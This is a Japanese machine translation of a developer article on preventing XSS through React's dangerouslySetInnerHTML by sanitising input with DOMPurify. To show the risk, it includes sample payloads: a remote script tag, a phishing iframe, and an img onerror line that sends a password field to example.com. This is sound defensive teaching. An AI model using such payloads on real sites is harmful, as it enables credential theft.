ホームページ > 記事 > ウェブフロントエンド > React の「危険な SetInnerHTML」使用時の XSS エクスプロイトを軽減する
ラウタロ・アンドレアニによるカバー画像
...
TL: DR; 危険な SetInnerHTML にコンテンツを盲目的にダンプすることは、まさに危険です。入力を明示的に制御できない限り、危険なことに、SetInnerHTML に渡す入力はすべてサニタイズしていることを確認してください。
次のコンポーネントは、危険な SetInnerHTML による XSS 攻撃のリスクを軽減する簡単な例として機能します。
//https://github.com/cure53/DOMPurify import React from "react"; import DOMPurify from "dompurify"; const sanitize = (dirty) => DOMPurify.sanitize(dirty); const DangerousHtml = ({ innerHTML, tag }) => { const clean = sanitize(innerHTML); if (typeof tag === "undefined") { return <div dangerouslySetInnerHTML={{ __html: clean }} />; } return <tag dangerouslySetInnerHTML={{ __html: clean }} />; }; export default DangerousHtml;
特注の DangerousHtml コンポーネントを使用することで、実際の危険な SetInnerHTML プロパティに到達する前に入力をサニタイズするため、XSS エクスプロイトのリスクを大幅に軽減できます
DOMPurify は高度な構成も可能であるため、特定のユースケースを処理したり、以下の例の一部を明示的に許可したりするために、この例のような複数のコンポーネントが必要になる場合があります。
以下に、エクスプロイトがどのように行われるかを示す簡単な例をいくつか示します。
React は悪意のあるペイロードを指すスクリプト タグを削除しないため、XSS が可能です。
この方法でも iFrame を渡すべきではありません。むしろ、URL とその他の「安全な」属性を小道具として渡し、それを iFrame タグでレンダリングしてレンダリング機能とソースの制御を保持するか、専用の iFrame コンポーネントを用意する必要があります。
たとえば、API リクエストから受け取った次の悪意のあるマークアップについて考えてみましょう。 dangerously SetInnerHTML を介して盲目的に設定すると、ユーザーに次の出力が表示されます:
// Bad markup going in <div dangerouslySetInnerHTML={{ __html: `<p> Hi <script src="https://example.com/malicious-tracking"></script> Fiona, here is the link to enter your bank details: <iframe src="https://example.com/defo-not-the-actual-bank"></iframe> </p>`, }} />
<!-- Bad markup rendered on the DOM --> <div> <p> Hi <script src="https://example.com/malicious-tracking"></script> Fiona, here is the link to enter your bank details: <iframe src="https://example.com/defo-not-the-actual-bank"></iframe> </p> </div>
しかし、代わりに DangerousHTML コンポーネントを使用することは、ユーザーが直面する可能性のあるリスクのほとんどを軽減したことを意味します。
// Bad markup going in <DangerousHtml innerHTML={`<p> Hi <script src="https://example.com/malicious-tracking"></script> Fiona, here is the link to enter your bank details: <iframe src="https://example.com/defo-not-the-actual-bank"></iframe> </p>`} />
<!-- Clean markup rendered on the DOM --> <div> <p>Hi Fiona, here is the link to enter your bank details:</p> </div>
フィオナは、何らかの理由で Web サイトが壊れているかコンテンツが欠落していると考えているかもしれませんが、銀行口座の詳細をフィッシングされるよりはまだマシです!
一部の DOM 要素には、悪用される可能性がある特別な属性があり、それから身を守る必要があります。
この例では、
たとえば、次のような場合:
// Bad markup going in <div dangerouslySetInnerHTML={{ __html: ` <p> Hola <img src='none.png' onerror='fetch("https://example.com/malicious-tracking?password=" + document.querySelector("input#password").value);' /> Sharon </p>`, }} />
<!-- Bad markup rendered on the DOM --> <div> <p> Hola <img src="none.png" onerror='fetch("https://example.com/malicious-tracking?password=" + document.querySelector("input#password").value);' /> Sharon </p> </div>
この例では、イメージリクエストが最終的に失敗し、ユーザーにはそれが分からないときに、毒されたマークアップが DOM からデータを盗んでいます。
DangerousHtml コンポーネントを使用すると、これを再度軽減できます
// Bad markup going in <DangerousHtml innerHTML={` <p> Hola <img src='none.png' onerror='fetch("https://example.com/malicious-tracking?password=" + document.querySelector("input#password").value);' /> Sharon </p>`} />
<!-- Clean markup rendered on the DOM --> <div> <p> Hola <img src="none.png" /> Sharon </p> </div>
フォールバック画像を表示するために本当に JS を実行したいかもしれないという議論を考えると、これを行うために生のサニタイズされていない HTML を信頼すべきではなく、fallbackImageURL または onError プロパティを用意した方がよいでしょう。次のようにイメージタグに明示的に追加できます:
// Usual imports const MyImageComponent = ({ fallbackUrl, url }) => { // Usual component setup const displayFallbackImage = (evt) => { // If there is no fallback, do nothing if (!fallbackUrl) return; // set the url to the fallbackUrl evt.target.src = fallbackUrl; }; return ( <img src={url} onerror={displayFallbackImage} // ... any other props /> ); };
...
元の記事: https://timbryan.dev/posts/react-xss-via-dangerouslySetInnerHtml
以上がReact の「危険な SetInnerHTML」使用時の XSS エクスプロイトを軽減するの詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。